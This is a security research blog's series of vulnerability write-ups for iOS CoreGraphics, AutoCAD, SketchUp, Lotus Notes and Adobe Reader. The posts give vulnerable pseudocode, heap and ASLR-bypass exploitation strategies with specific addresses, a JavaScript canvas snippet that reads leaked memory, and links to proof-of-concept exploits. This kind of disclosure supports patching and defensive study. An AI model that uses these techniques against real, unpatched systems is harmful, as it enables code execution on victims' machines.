Friday, September 19, 2014

CoreGraphics Memory Corruption - CVE-2014-4377

Apple CoreGraphics library fails to validate the input when parsing the colorspace specification of a PDF XObject resulting in a heap overflow condition. A small heap memory allocation can be overflowed with controlled data from the input in any application linked with the affected framework. Using a crafted PDF file as an HTML image and combined with a information leakage vulnerability this issue leads to arbitrary code execution. A complete 100% reliable and portable exploit for MobileSafari on IOS7.1.x. can be downloaded from github

Summary

  • Title: Apple CoreGraphics Memory Corruption
  • CVE Name: CVE-2014-4377
  • Permalink: http://blog.binamuse.com/2014/09/coregraphics-memory-corruption.html
  • Date published: 2014-09-18
  • Date of last update: 2014-09-19
  • Class: Client side / Integer Overflow / Memory Corruption
  • Advisory: HT6441 HT6443

Vulnerability Details

Safari accepts PDF files as native image format for the < image > html tag. Thus browsing an html page in Safari can transparently load multiple pdf files without any further user interaction. CoreGraphics is the responsible of parsing the PDF files.
Apple Core Graphics framework fails to validate the input when parsing the colorspace specification of a PDF XObject. A small heap memory allocation can be overflowed with controlled data from the input enabling arbitrary code execution in the context of Mobile Safari (A memory layout information leak is needed).
The Core Graphics framework is a C-based API that is based on the Quartz advanced drawing engine. It provides low-level, lightweight 2D rendering. This is used in a wide range of applications to handle path-based drawing, transformations, color management, offscreen rendering, patterns, gradients and shadings, image data management, image creation, masking, and PDF document creation, display, and parsing.
CoreGraphics library implements the functionality to load and save several graphic formats such as PDFs and it is used by most common applications that deal with images, including Safari, Preview, Skype, etc. The 32 bit version of the framework also implements the x_alloc heap, a set of low level procedures to manage an internal heap memory structure used when processing images of different types (including PDF files). The functions x_calloc and x_free are used very frequently to allocate and de-allocate memory fast.
The x_calloc function behaves as a normal calloc except it allocates a bit extra memory for metadata. It actually allocates an extra 2*sizeof(void*) bytes and pad the resulting size to the next 16 byte border. When the chunk is in use (allocated) this extra space is used to hold the size of the chunk, thus making it super fast to free. On the other hand when the chunk is free the metadata space is used to form a free-list linked list, the first metadata value in a free chunk points to the next free chunk. This is its pseudocode. Think x_mem_alloc0_size as a plain malloc.

void* __cdecl x_calloc(size_t nmemb, size_t size)
{
  void * buffer = x_mem_alloc0_size((nmemb * size + 31) & -16);
  *(size_t *)buffer = (nmemb * size + 31) & -16;
  return buffer + 16;
}
This function is prone to integer overflow because it doesn’t check for (nmemb * size) to be less than MAXUINT-16. Then if a programmer tries to allocate a size in the range [-16,-1] x_alloc will allocate 0(zero) or 16 bytes (instead of the inmense value requiered) without triggering any exception.

An x_calloc bug

There is a x_calloc related bug in how PDF handles the colorspace for embedded XObjects. Forms and images of different types can be embedded in a PDF file using an XObject pdf stream. As described in the pdf specification, an XObject can specify the colorspace in which the intended image is described. The CoreGraphics library fails to validate the input when parsing the /Indexed colorspace definition of an XObject pdf stream and enables an attacker to reach x_calloc with a size in the [16,-1] range.
The indexed colorspace definition is table based and relies on a base colorspace. For example, the following definition defines an indexed colorspace of 200 colors based on a RGB base colorspace with the table defined in the indirect object 8 0 R. For more info on indexed colorspaces see section 8.6.6.3 of the pdf specification.
    /ColorSpace [/Indexed /DeviceRGB 200 8 0 R]
The following is an excerpt of the function _cg_build_colorspace. It was taken from the dyld_shared_cache_armv7 of the iPhone3,1 (iPhone4) iOS version 7.1.1. The function can be disassembled at address 0x2D59F260 considering that the dyld_shared_cache is loaded at 0x2C000000.

/* cs_index_array should represent something like this:
    [/Indexed /DeviceRGB 200 8 0 R]
*/

/* Sanity check, array must have 4 elements */
if ( CGPDFArrayGetCount(cs_index_array) != 4 ) {
    message = "invalid `Indexed' color space: incorrect number of entries in color space array.";
    goto EXIT;
}

/* Sanity check, 2nd element should be an object */
if ( !CGPDFArrayGetObject(cs_index_array, 1, &base_cs_obj) ) {
    message = "invalid `Indexed' color space: second color space array entry is not an object.";
    goto EXIT;
}

/* build the base colorspace */
base_cs = cg_build_colorspace(base_cs_obj);
if ( !base_cs ) {
    message = "invalid `Indexed' color space: invalid base color space.";
    goto EXIT;
}

/* get the 3rd element. N, the number of indexed colors in the table */
if ( CGPDFArrayGetInteger(cs_index_array, 2, &N) ) {
    message = "invalid `Indexed' color space: high value entry is not an integer.";
    goto RELEASE_EXIT;
}

/* Sanity check. N should be positive */
if ( N <= -1 ) {
    message = "invalid `Indexed' color space: high value entry is negative.";
    goto RELEASE_EXIT;
}

/* cs is the resultant colorspace, init to NULL */
cs = 0;

/* if 4th element is a pdf stream get it and do stuff ...*/
if ( CGPDFArrayGetStream(cs_index_array, 3, &lookup_stream) == 1 ) {

    lookup_buffer = CGPDFStreamCopyData(lookup_stream);
    if ( lookup_buffer ) {
        lookup_size = (N + 1) * CGColorSpaceGetNumberOfComponents(base_cs);
        if ( CFDataGetLength(lookup_buffer) >= lookup_size ) {
            data = CFDataGetBytePtr(lookup_buffer);
            cs = CGColorSpaceCreateIndexed(base_cs, N_, data);
        }
        else {
            /* HERE is te interesting bit. A lookup_size in the [-16,-1] range
               will silently allocate a very small buffer */
            overflow_buffer = x_calloc_2D5143B4(1, lookup_size);
            _data = CFDataGetBytePtr(lookup_buffer);
            _size = CFDataGetLength(lookup_buffer);
            /* But memove will copy all the available data in the stream 
               OVERFLOW!! 
             */
            memmove(overflow_buffer, _data, _size);

            /* CGColorSpaceCreateIndexed is a nop when N is greater than 256 */
            cs = CGColorSpaceCreateIndexed(base_cs, N_, overflow_buffer);
            if ( overflow_buffer )
              x_free(overflow_buffer);
        }
        CFRelease(lookup_buffer);
    }

    goto RELEASEANDEXIT;
}

/* else if 4th element is a pdf string get it and do stuff ...*/
if ( CGPDFArrayGetString(cs_index_array, 3, &lookup_str) == 1 ) {
    lookup_size_ = (N + 1) * CGColorSpaceGetNumberOfComponents(base_cs);
    if ( lookup_size_ != CGPDFStringGetLength(lookup_str) ) {
        message = "invalid `Indexed' color space: invalid lookup entry.";
        goto RELEASEANDEXIT;
    }
    buffer = CGPDFStringGetBytePtr(lookup_str);
    cs = CGColorSpaceCreateIndexed(base_cs, N__, buffer);
    goto RELEASEANDEXIT;

}

/* at thispoint cs is NULL */
message = "invalid `Indexed' color space: lookup entry is not a stream or a string.";

RELEASE_EXIT:
    CGColorSpaceRelease(base_cs);
EXIT:
    log_2D5A0DA8(message);
/* result in cs */
CGPDFArrayGetInteger gets an object from an arbitrary position in a pdf array, starting at 0. The number of indexed colors is read from the third array position (index 2), multiplied by the number of color components of the base colorspace and then (if using pdf stream) allocated with a x_calloc. We basically control the size passed to x_calloc. If the resultant value is for instance -10, x_calloc will allocate a small amount of memory and return a valid pointer. If the innner colorspace is /DeviceRGB with 3 color components, passing a value of 0x55555555 will do the trick.
Then the memmove will potentially overflow the small buffer with an arbitrary number of arbitrary bytes. The function CGColorSpaceCreateIndexed can be considered as a no-op as it will use this buffer only if our controlled size is a positive less than 0xff, not the interesting case.

Exploitation

A 100% reliable PoC exploit can be downloaded from the github project. This exploit needs a companion information leakage vulnerability to bypass ASLR, DEP and Code signing iOS exploit mitigations. The exploit is presented as a cgi script that expects to get the dyld_shared_cache address, the shellcode address and the iOS version as GET parameters. It executes arbitrary code in the context of SafariMobile.

Demo

Soon..

Thursday, September 18, 2014

CoreGraphics Information Disclosure - CVE-2014-4378

This article explores the exploitability of MobileSafari on IOS 7.1.x. Using a crafted PDF file as an HTML image makes it possible to leak information about the memory layout to the browser Javascript interpreter. Apple CoreGraphics library fails to validate input when parsing the colorspace specification of an inline image embedded in a PDF content stream. he issue results in an information leak vulnerability that improves the adversary capability of exploit other vulnerabilities in any application linked with this library. This is also proved useful to bypass a several exploit mitigations such as ASLR, DEP and CodeSigning. A 100% reliable PoC leak-exploit can be downloaded from github
Quick links: White paper, PoC Exploit generator in python
  • Title: Apple CoreGraphics Information Disclosure
  • CVE Name: CVE-2014-4378
  • Permalink: http://blog.binamuse.com/2014/09/coregraphics-information-disclosure.html
  • Date published: 2014-09-18
  • Date of last update: 2014-09-18
  • Class: Client side / Out of bounds memory read
  • Advisory: HT6441 HT6443

Vulnerability Details

Safari accepts PDF files as native image format for the < image > html tag. Thus browsing an html page in Safari can transparently load multiple pdf files without any further user interaction. CoreGraphics is the responsible of parsing the PDF files.
On a PDF, a sampled image may be specified in the form of an inline image as an alternative to the image XObjects described in 8.9.5 ’Image Dictionaries’. This type of image shall be defined directly within the content stream of a pdf page. Each inline image specification may contain the declaration of a colorspace, this colorpace specification complies to a different syntax than the one used in the specification of images as eXternal Objects. For the specification of colorpaces in XObjects see 8.9.5 ’Image Dictionaries’. An inline image embedded in a PDF content stream looks like this:
q
17 0 0 17 298 388 cm                           % Save graphics state
                                               % Scale and translate coordinate space
BI                                             % Begin inline image object
/W 17                                          % Width in samples
/H 17                                          % Height in samples
/CS $COLORSPACE-SPEC$                          % Color space  !!!!!!!!!!!!!!!!!!
/BPC 8                                         % Bits per component
/F [ /A85 /LZW ]                               % Filters
ID                                             % Begin image data
J1/gKA>.]AN&J?]-
EI                                             % End inline image object
Q                                              % Restore graphics state
Where $COLORSPACE-SPEC$ is a placeholder for a colorspace specification as described in section 8.6.4 'Device Colour Spaces'. An Indexed color space shall be defined by a four-element array:
[ /Indexed base hival lookup ]
The first element shall be the color space family name /Indexed (or /I). The base parameter shall be an array or name that identifies the base color space. The hival parameter shall be an integer that specifies the maximum valid index value. The color table shall be defined by the lookup parameter, which for inline images shall be a byte string.
The information leak bug resides in the Indexed type colorspace specification parsing code. It fails to validate hival with the size of the lookup table. This enables an attacker to read past the end of the lookup table, and use the uncontroled memory immediately after the memory of the table in an unexpected way. This research is based on the iPhone3,1(iPhone4) iOS 7.1.1. Considering the dyld_shared_cache_armv7 file is loaded at 0x2c00000000, the function that parses inline image colorspace is at 0x2D527C3C.
Pseudocode follows:

/* Read the colorspace definition under the /ColorSpace or /CS field of dictionary*/
if ( CGPDFDictionaryGetObject(dict, "ColorSpace", &cs_obj) || 
             CGPDFDictionaryGetObject(dict, "CS", &cs_obj)    ) {
    CS = 0;
    if ( cs_obj ) {
    /* In case the colorspace definition is of type PDFName (5) initialize a standar colorpace object */
    if ( CGPDFObjectGetValue(cs_obj, 5, &cs_name) == 1 ) {
        CS = mk_CSDefault_2D52850C(cs_name);
        if ( !CS ) {
            cs_strm = CGPDFContentStreamGetColorSpace(v3, cs_name);
            CS = CGColorSpaceRetain(cs_strm);
        }
    }
    else {
        if (  /* If cs_object is of type PDFArray */
            CGPDFObjectGetValue(cs_obj, 7, &cs_array) == 1  &&
            /* ... and it has 4 elements ...*/
            CGPDFArrayGetCount(cs_array) == 4               &&
            /* ... and the first element is a PDFName ... */
            CGPDFArrayGetName(cs_array, 0, &cs_name) == 1   &&
            /* ... and this PDFName is "/Indexed" or "/I" ... */
            ( !strcmp(cs_name, "Indexed") || !strcmp(cs_name, "I") ) &&
            /* ... and the second element is also a PDFName ...*/
            CGPDFArrayGetName(cs_array, 1, &cs_name) == 1   &&
            /* ... and The third element is an integer N ... */
            CGPDFArrayGetInteger(cs_array, 2, &N) == 1      &&
            /* ... and the forth element, the lookup table is a PDFString */
            CGPDFArrayGetString(cs_array, 3, &index_table) == 1 ) {
                /* get the string raw data */
                str = (void *)CGPDFStringGetBytePtr(index_table);
                if ( str ) {
                    /* prepare the inner simple colorspace */
                    default_cs = mk_CSDefault_2D52850C(cs_name);
                    if ( default_cs ) {
                        /* and build the indexed colorspace object */
                        CS = CGColorSpaceCreateIndexed(default_cs, N, str);
                        CGColorSpaceRelease(default_cs);
                    }
                }
        }
    }
}
Note that the length of the pdf string str is never compared to N. CGColorSpaceCreateIndexed will build a colorspace object with a lookup table composed of str and the memory that happens to follow that.

Exploitation details

The data in the Inline Image that specifies the buggy indexed colorspace will be translated into actual pixels using the lookup table, and the data that resides immediately after the pdf string str will be put as pixel data of the image. This is easy to access via javascript machinery. Something like this..
var img = document.getElementById("pdfleakimage")
var canvas = document.createElement('canvas');
var pixelData;
var content;
/* set the canvas size to the image size */
canvas.width = img.width;
canvas.height = img.height;

/*paste te image on the canvas */
canvas.getContext('2d').drawImage(img, 0, 0, img.width, img.height);
/* pixelData is the actual RGBA pixel data :) */
pixelData = canvas.getContext('2d').getImageData(0, 0, img.width, img.height).data;

/* only problem is that the 4th byte of each pixel is not usable ... */
var leak = new Array();
for (var i=0; i<img.width*img.height*4; i+=1){
    if ( (1+i)%4 == 0 )
        continue;
    leak[leak.length] = pixelData[i];
}

/* leak contains the values read from memory */

A 100% reliable PoC leak-exploit can be generated using the github project. Some heap massaging is needed to improve the probability of leaking an interesting address pointer and to elude the corner case in which the str is allocated close to the end of a memory page. The Poc detects the browser device type, firmware version, dyld_shared_cache base address and it also plants a configured shellcode and leaks its starting address. This is ready to implement a 100% reliable code execution exploit (IOS) when combining it with another vulnerability.

Demo

Basically it plants a shellcode, detects the firmware version and pass all the addresses to MobileSafari Javascript. Tested iPhone5 7.1.1. 7.1.2

Wednesday, July 31, 2013

Using symbolic execution to solve a tiny ASCII maze.

In this post we'll exercise the symbolic execution engine KLEE over a funny ASCII Maze (yet another toy example)!
LLVM

VS.

Maze dimensions: 11x7
Player pos: 1x1 Iteration no. 0
Program the player moves with
a sequence of 'w', 's', 'a' or 'd'
Try to reach the prize(#)!
           +-+---+---+
           |X|     |#|
           | | --+ | |
           | |   | | |
           | +-- | | |
           |     |   |
           +-----+---+
The match is between a tiny maze-like game coded in C versus the full-fledged LLVM based symbolic execution engine, KLEE.

How many solutions do you think it has?

The Maze

The thing is coded in C and the impatient can download it from here. This simple ASCII game asks you first to feed it with directions. You should enter them as a batch list of actions. As "usual"; a is Left, d is Right, w is Up and s is Down. It has this looks ...
Player pos: 1x4
Iteration no. 2. Action: s.
+-+---+---+
|X|     |#|
|X| --+ | |
|X|   | | |
|X+-- | | |
|     |   |
+-----+---+
It's really small I know! But the code hides a nasty trick, and at the end, you'll see, it has more than one way to solve it.

The KLEE

KLEE is a symbolic interpreter of LLVM bitcode. It runs code compiled/assembled into LLVM symbolically. That's running a program considering its input(or some other variables) to be symbols instead of concrete values like 100 or "cacho". In very few words, a symbolic execution runs through the code propagating symbols and conditions; forking execution at symbol dependant branches and asking the companion SMT solver for path feasibility or counter-examples. For more info on this check out this, this or even this. Find it interesting? Keep reading!

Wednesday, July 24, 2013

Autocad DWG-AC1021 Heap Corruption

AutoCAD is a software for computer-aided design (CAD) and technical drawing in 2D/3D, being one of the world leading CAD design tools. It is developed and sold by Autodesk, Inc.
  • Title: AutoCAD DWG-AC1021 Heap Corruption
  • CVE Name: CVE-2013-3665
  • Permalink: http://blog.binamuse.com/2013/07/autocad-dwg-ac1021-heap-corruption.html
  • Advisory: http://binamuse.com/advisories/BINA-20130724.txt
  • Patch: http://usa.autodesk.com/adsk/servlet/ps/dl/item?id=21972896&linkID=9240618&siteID=123112
  • Vendor notified on: 2013-03-27
  • Patch/Fix Released: 2013-07-10
  • Advisory Published: 2013-07-24

AutoCad is vulnerable to an arbitrary pointer dereference vulnerability, which can be exploited by malicious remote attackers to compromise a user’s system. This issue is due to AutoCad’s failure to properly bounds-check data in a DWG file before using it to index and copy heap memory values. This can be exploited to execute arbitrary code by opening a specially crafted DWG file, version AC1021.

This version was the native fileformat of AutoCAD Release 2007. New versions of the format emerged but AC1021 is still supported in modern AutoCADs for back ward compatibility.

Details

The DWG R2007 file format The R2007 dwg format has sections and pages. There are system sections and data sections. The system sections contain information about where the data sections and their pages are in the file. The system sections are built based in two main data structures: a first header and a second header. In addition, there are two important sections in the file structure, the page map and the section map. Each one of this sections should be decoded using Reed Solomon algorithm and also could be compressed with a proprietary algorithm (which we will ignore). The file structure looks like this:
The DWG R2007 also known as AC1021 is well documented by the reversing effort of opendesign.

Vulnerability Details

Not surprisingly AutoCAD starts by parsing the 1st header. Among other things it reads the size and location of the 2nd header. Then from the second header it reads the position in the file where the page map is stored, the number of pages present in the file (page-count) and the maximum id (page-max-id ) a page shall have. The page map is stored in a single system section page and it is composed by tuples (Id, Size) where the Id is the page number. After the loading of the page map, begins the processing of the section map that eventually will load all the objects present in the draw. Graphically the data representing the page map on the file looks like this:
When each PageMap node is read two data structures are updated, a double linked list of page map nodes called PMapList and an id indexed array of node pointers called PMapArray. A quick description of this three entities follows.

The page map nodes

In memory the structure holding a page map node has the following fields:
  • acc: Accumulator of the field size (64 bits)
  • size: Size of the page. (64 bits)
  • id: Number of the page. (64 bits)
  • prev: Address in memory of the previous node. (32 bits)
  • next: Address in memory of the next node.(32 bits)
  • unknown: there are 2 unknown fields of 64 bits (Not used).

The page map linked list

And they are linked in the PMapList that looks like this:

The page map array

PMapArray is an array of node pointers maintained for quick access of the page map nodes. It maps the id to the actual page map node. A memory chunk of pages-maxid size is allocated for it as declared in the 2nd header.

The bug

When each new page map node is created its address is stored in the corresponding id position of the PMapArray array without checking its boundaries. Thus, enabling an arbitrary heap offset overwrite with a pointer to the recently created node. Details on the exploitation technique can be found in Joshep white paper or in the actual proof of concept exploit.

Friday, May 31, 2013

Multiple vulnerabilities on sketchup

SketchUp is a 3D modeling program marketed by Trimble Navigation Limited(previously Google) and designed for architectural, civil, and mechanical engineers as well as filmmakers, game developers, and related professions.
SketchUp fails to validate the input when parsing different types of embedded textures. Exploitation of this issues will lead to the execution of arbitrary code on the client machine with the privileges of the user running the Sketchup. This vulnerabilities can be triggered when a malicious .skp file is open in SketchUp or previewed in Windows Explorer.
CVE Title Fixed in version
CVE-2013-3662MAC Pict Material Stack Corruption8M2
CVE-2013-3663BMP RLE8 Heap Overflow8M3
CVE-2013-3664MAC Pict Material Stack Corruption 22013
CVE-2013-3664BMP RLE4 Heap Overflow2013
The native SketchUp fileformat can handle textured 3D content. Sketchup can create realistic materials taken from image files such as .jpg pictures taken with a digital camera. A number of this images can be embedded into the main .skp file and loaded every time the 3D scene is open. As the same image library is used for in any case the issues addressed here can also be triggered when Windows Explorer reads the embedded thumbnail in a .skp file. Arbitrary code execution is proved possible in 4 different ways after an .skp file with a malicious texture or thumbnail or background image is opened.

Sketchup MAC Pict Material Palette Stack Corruption

Sketchup fails to validate the input when parsing an embedded MAC Pict texture, leading to an arbitrary stack offset overwrite and finally to an arbitrary code execution. The issue arises when SketchUp tries to load the color palette table of a MAC Pict material (or embedded image). A Mac Pict file can hold palettes of up to 64k colors. It is encoded so the number of colours to read from the file is the firsts 16bit unsigned value of the encoded palette.
                        '>H'  numColors
Then it follows a list of up to numColors palette entries.
                        [
                         '>H'  color index 
                         'BBB' RGB
                        ] * numColors

Each entry is a pair of index and RGB color and the entries can be put in any order. The only constraint is that each index must be less or equal than numColor. SketchUp reads this potentially 64k entries length table in a 256 entries length stack buffer.

`` In Windows this buffer is guarded by a /GS cookie but this protection is rendered useless because of the arbitrary color index. An attacker could select the indexes passed on the encoded palette so the cookie is never altered. ``

So an arbitrary RGB color can be placed at an arbitrary position in the range of the 64k entries from the beginning of the original stack buffer. The only problem is that an RGB color is 3 bytes sized and there is room allocated for a 4th byte in each color entry, probably for an alpha channel. This 4th byte (the most significant byte of the resultant 32bit word) is forced to 00.

Thus, is fair to say that an almost arbitrary offset of the stack can be written with an almost arbitrary value. Playing with the stacked local values of the calling functions it is possible to capture the execution flow and execute arbitrary code.

Exploitation of the above problem will lead to the execution of arbitrary code on the client machine with the privileges of the user running the SketchUp.

In the exploit, as it is possible to embed several materials two different exploiting primitives are devised.

  1. write a zero byte followed by 3 controlled bytes to any low memory address.
  2. control the program counter via a memory deference

So each time a MAC Pict image is parsed by Google SketchUp either of these things can be done. This exploit needs less than 24 texture images to control the program behavior.

In Windows the writable memory at address 0x100000 is used as a pivot. The stack is switched to it and a ROP like chain is mastered to bypass DEP. Yes there are fixed executable memory maps loaded at the same addres in W7/XP(0x100000) where to search for ROP gadgets. This dll being fixed at 0x100000 is the only source of unreliability of the exploit.

Debug

The function that reads the MAC Pict material color pallete is at 0x017449b0. The .skp file can contain up to 24 preseted materials possibly replaced by PICT images; so a breakpoint there can happen up to 24 times with this settings. A copy of the vulnerable function dissemble is here.

Summary and exploit

SketchUp BMP RLE8 Heap Overflow

Sketchup fails to validate the input when parsing an embedded BMP RLE8 compressed texture, leading to an arbitrary stack offset overwrite and finally to arbitrary code execution.

The code parsing BMP/RLE images seem to be taken from a discontinued open source project, paintlib. The problematic function looks like this:

void PLBmpDecoder::decodeRLE8
    ( PLDataSource * pDataSrc,
      PLBmpBase * pBmp
    )
            // Decodes a compressed 256-color-bitmap
{
  int y;                    // Current row

  PLBYTE * pDest;           // Current destination
  PLBYTE * pSrc;            // Current position in file
  PLBYTE   RunLength;       // Length of current run
  bool   bEOL;              // true if end of line reached
  bool   bEOF=false;        // true if end of file reached
  PLBYTE ** pLineArray = pBmp->GetLineArray();
                            // Pointers to dest lines

  Trace (2, "Decoding RLE8-compressed bitmap.\n");

  for (y=0; y<pBmp->GetHeight() && !bEOF; y++)
  {                         // For each line...
    pDest = pLineArray[pBmp->GetHeight()-y-1];
    bEOL=false;
    while (!bEOL)
    {                       // For each packet do
      pSrc = pDataSrc->Read1Byte();
      RunLength = *pSrc;
      if (RunLength==0)
      { // Literal or escape.
        pSrc = pDataSrc->Read1Byte();
        RunLength = *pSrc;
        switch (RunLength)
        {
          case 0:           // End of line escape
            bEOL = true;
            break;
          case 1:           // End of file escape
            bEOF = true;
            bEOL = true;
            break;
          case 2:           // Delta escape.
            // I have never seen a file using this
            raiseError (PL_ERRFORMAT_NOT_SUPPORTED,
                        "Encountered delta escape.");
            bEOL = true;
            bEOF = true;
            break;
          default:
                            // Literal packet
            pSrc = pDataSrc->ReadNBytes(RunLength);
            memcpy (pDest, pSrc, RunLength);
            pDest += RunLength;
            // Word alignment at end of literal packet.
            if (RunLength & 1) pDataSrc->Skip(1);
        }
      }
      else
      {                     // Encoded packet:
                            // RunLength pixels, 
                                // all with the same value
        pSrc = pDataSrc->Read1Byte();
        memset (pDest, *pSrc, RunLength);
        pDest += RunLength;
      }
    }
  }
}

Note that the 'while' statement ends only when it reaches an EOF token (or similar condition) on the input. It decodes RLE packets into the previously allocated buffer "pLineArray". The pLineArray is supposed to by a bitmap. Its size (height*width) is controlled by the input. So we can allocate any buffer size and then write and overflow it with whatever content we want.

Exploitation of the above problem will lead to the execution of arbitrary code on the client machine with the privileges of the user running the Sketchup.

Sumary and exploit

MAC Pict Material Stack Corruption 2

Similarly to the previous PICT bug this is triggered when SketchUp loads the color palette table of a MAC Pict material (or embedded image). We found another way to reach the vulnerable code, which was still there.

Sumary and exploit

BMP RLE4 Heap Overflow

Similarly to the previous BMP bug this bug is triggered when SketchUp loads BMP material with RLE4 compression.

The code parsing BMP/RLE4 images seem to be taken from a discontinued open source project, paintlib. The problematic function looks like this:

void PLBmpDecoder::decodeRLE4
    ( PLDataSource * pDataSrc,
      PLBmpBase * pBmp
    )
    // Decodes a compressed 16-color-bitmap.
{
  int y;                              // Current row

  PLBYTE * pSrc;
  PLBYTE * pDest;                       // Current destination.
  int    XSize = pBmp->GetWidth();  // Width of bitmap in pixels.
  PLBYTE   SrcByte;                     // Source byte cache.

  PLBYTE   RunLength;    // Length of current run.
  bool   bOdd;         // true if current run has odd length.

  bool   bEOL;         // true if end of line reached.
  bool   bEOF=false;   // true if end of file reached.

  PLBYTE * pLineBuf;     // Current line as uncompressed nibbles.
  PLBYTE * pBuf;         // Current position in pLineBuf.
  PLBYTE ** pLineArray = pBmp->GetLineArray();
                                   // Pointers to dest. lines.

  Trace (2, "Decoding RLE4-compressed bitmap.
");

  // Allocate enough memory for DWORD alignment in original 4 bpp
  // bitmap.
  pLineBuf = new PLBYTE [XSize*4+28];

  for (y=0; y<pBmp->GetHeight() && !bEOF; y++)
  { // For each line...
    pBuf = pLineBuf;
    bEOL=false;
    while (!bEOL)
    { // For each packet do
      pSrc = pDataSrc->Read1Byte();
      RunLength = *pSrc;
      if (RunLength==0)
      { // Literal or escape.
        pSrc = pDataSrc->Read1Byte();
        RunLength = *pSrc;
        switch (RunLength)
        {
          case 0: // End of line escape
            bEOL = true;
            break;
          case 1: // End of file escape
            bEOF = true;
            bEOL = true;
            break;
          case 2: // Delta escape.
            // I have never seen a file using this.
            delete [] pLineBuf;
            raiseError (PL_ERRFORMAT_NOT_SUPPORTED,
                        "Encountered delta escape.");
            break;
          default:
            // Literal packet
            bOdd = (RunLength & 1);
            RunLength /= 2; // Convert pixels to bytes.
            for (int i=0; i<RunLength; i++)
            { // For each source byte...
              pSrc = pDataSrc->Read1Byte();
              decode2Nibbles (pBuf, *pSrc);
              pBuf += 2;
            }
            if (bOdd)
            { // Odd length packet -> one nibble left over
              pSrc = pDataSrc->Read1Byte();
              *pBuf = (*(pSrc))>>4;
              pBuf++;
            }
            // Word alignment at end of literal packet.
            if ((RunLength + bOdd) & 1) pDataSrc->Skip(1);
        }
      }
      else
      { // Encoded packet:
        // RunLength 4 bpp pixels with 2 alternating
        // values.
        pSrc = pDataSrc->Read1Byte();
        SrcByte = *pSrc;
        for (int i=0; i<RunLength/2; i++)
        {
          decode2Nibbles (pBuf, SrcByte);
          pBuf += 2;
        }
        if (RunLength & 1)
        {
          *pBuf = (*(pSrc))>>4;
          pBuf++;
        }
      }
    }
    pDest = pLineArray[pBmp->GetHeight()-y-1];
    memcpy (pDest, pLineBuf, XSize);
  }
  delete [] pLineBuf;
}

Note that the for-loop inside the 'Encoded packet' branch decode/copy two nibbles to pBuf every time, executing this RunLength/2 times. And because there is no check about the pBuf's length before advancing the pointer two positions, a heap overflow (pBuf based) may arise.

The pBuf is initialized to pLineBuf wich is a fresh allocated buffer of size XSize*4+28, being XSize the BMP's width (controlled value). So we can allocate almost any buffer size and then write and overflow it with words like 0x0X0Y (X,Y controlled nibble values).

Exploitation of the above problem will lead to the execution of arbitrary code on the client machine with the privileges of the user running the Sketchup.

Sumary and exploit

Thursday, May 16, 2013

IBM Lotus Notes PNG Integer Overflow - CVE-2013-2977

IBM Lotus Notes is the client of a collaborative client-server plataform, being IBM Lotus Domino the application server. The email-client capability is one of its most important and used features. IBM Lotus Notes fails to correctly parse a PNG image file embedded in an email. Arbitrary code execution is proved possible after a malicious email is opened or just previewed. Quick links: White paper, exploit generator, PoC.
  • Title: IBM Lotus Notes PNG Integer Overflow
  • CVE Name: CVE-2013-2977
  • Permalink: http://blog.binamuse.com/2013/05/lotus-notes-cve-2013-2977.html
  • Date published: 2013-05-16
  • Date of last update: 2013-05-16
  • Class: Client Side / Remote by mail

Details

IBM Lotus Notes has an email client that allows embedded images in the email’s body. One of the images format supported is PNG, and its parsing is managed by libpng. The problem exposed here isn’t within libpng, but in the way that IBM Lotus Notes use the interface exposed by libpng. The faulty routine is located at nnotes+0x607B60 and looks like:
  1.             ...
  2.             mov     eax, [ebx+0Ch]
  3.             push    edi
  4.             push    eax
  5.             push    ecx
  6.             call    png_get_rowbytes
  7.             mov     edx, [ebx+0Ch]
  8.             mov     edi, eax                ;edi = width*4
  9.             mov     eax, [ebx+8]
  10.             push    edx
  11.             push    eax
  12.             mov     [ebp+var_28], edi
  13.             call    png_get_channels
  14.             movzx   cx, al
  15.             mov     eax, [esi+4]            ;eax = height
  16.             imul    eax, edi                ;eax = (width*4)*height
  17.             add     esp, 10h
  18.             lea     edx, [ebp+var_14]
  19.             push    edx
  20.             push    eax
  21.             push    eax
  22.             push    10000h
  23.             mov     [esi+17h], cx
  24.             call    OSMemAllocRaw           ;alloc (width*4)*height bytes
  25.             ...
An integer overflow may occurs in the multiplication (width*4)*height. In fact, the dimensions constraints are:
0 < width ≤ 0x000F4240
0 < height ≤ 0x1FFFFF7E
Therefore, the allocated size within OSMemAllocRaw is almost completely controlled. That buffer will be used to store all decompressed rows of the image. And will be filled by libpng in reverse order, i.e. writing the last width*4 bytes and and continuing upwards n times, where n is the height. As we can see, with certain values of width and height we can have a heap backward overflow, in this scenario we control:
  • Overflowed buffer’s size (with restrictions)
  • Overflow size (with restrictions)
  • Overflow data (completely)
A similar situation occurs in IBM Notes.

Exploitation

To trigger the parsing of an image attached to an email, we use the fact that IBM Lotus Notes parses HTML content. We achieve that sending an img tag with its src referencing the attached file. As we said before, the misallocated buffer is used to store all the image’s rows. There exists a second call to OSMemAllocRaw that will allocate a buffer of 4*height bytes, i.e. a DWORD for each row, that DWORD will store a pointer to the begining of each row in the first allocated buffer. If we can sort the memory in such a way that the misallocated buffer is after the pointers buffer, we could possibly turn this bug to an arbitrary write. In other words, we could overwrite a row’s pointer with an arbitrary address, then libpng will eventually use that address to copy the corresponding decompressed row, overwriting 4*width bytes starting at that address. To achieve the stated before, we need a way to sort the memory as we want. We built a way playing with JavaScript and reversing its garbage collector, to trigger it when we want. Now we have to find what we could overwrite to be as stealth as possible, and to get something reliable in both IBM Lotus Notes and IBM Notes. They share the following modules (no ASLR, no Rebase):
LTOUIN22.dll base at 0x62990000
MSVCR71.dll base at 0x7C340000
We decide to overwrite the function pointer located at 0x629B9184. That function will be called eventually and then the ROP chain begins. It’s important to note that additional to the actual payload, some code is executed to assure the maximum stealthiness and to restore the state to thread and module involved. A Proof of Concept exploit is provided and tested for Windows 7 and Windows XP. This was tested opening and/or previewing the email. If everything went ok the PoC will run a calculator. It was tested on fresh installations of Windows 7 Ultimate SP1 both 32 and 64 bit and Windows XP Pro SP3 32 bit versions.

Remediation

Vendor has released an patch.The Windows fix is included in Interim Fix 1 for Notes 8.5.3 Fix Pack 4 and Interim Fix 1 for Notes 9.0. For more information consult the official bulletin.

Wednesday, May 15, 2013

Adobe Reader X Sandbox bypass - CVE-2013-2730

AdobeCollabSync stack overflow

Adobe Reader X is a powerful software solution developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF). Since version 10 it includes the Protected Mode, a sandbox technology similar to the one in Google Chrome which improves the overall security of the product.
  • Title: AdobeCollabSync stack overflow
  • CVE Name: CVE-2013-2730
